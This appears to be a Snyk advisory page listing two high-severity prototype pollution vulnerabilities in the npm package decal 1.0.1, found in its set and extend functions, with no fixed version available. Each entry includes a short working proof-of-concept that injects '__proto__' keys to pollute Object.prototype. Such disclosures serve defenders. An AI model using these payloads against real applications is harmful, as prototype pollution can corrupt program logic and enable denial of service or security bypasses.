decal@1.0.1 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the decal package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the set function.

PoC

const decal = require('decal');

console.log('Before:', {}.polluted);
decal.set({}, "__proto__.polluted", "1337");
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for decal.

*
  • H
Prototype Pollution

Affected versions of this package are vulnerable to Prototype Pollution. The vulnerability is in the extend function.

PoC

const decal = require('decal');

console.log('Before:', {}.polluted);
const o = JSON.parse('{"__proto__":{"polluted":"1"}}');
decal.extend({}, true, o);
console.log('After:', {}.polluted);

How to fix Prototype Pollution?

There is no fixed version for decal.

*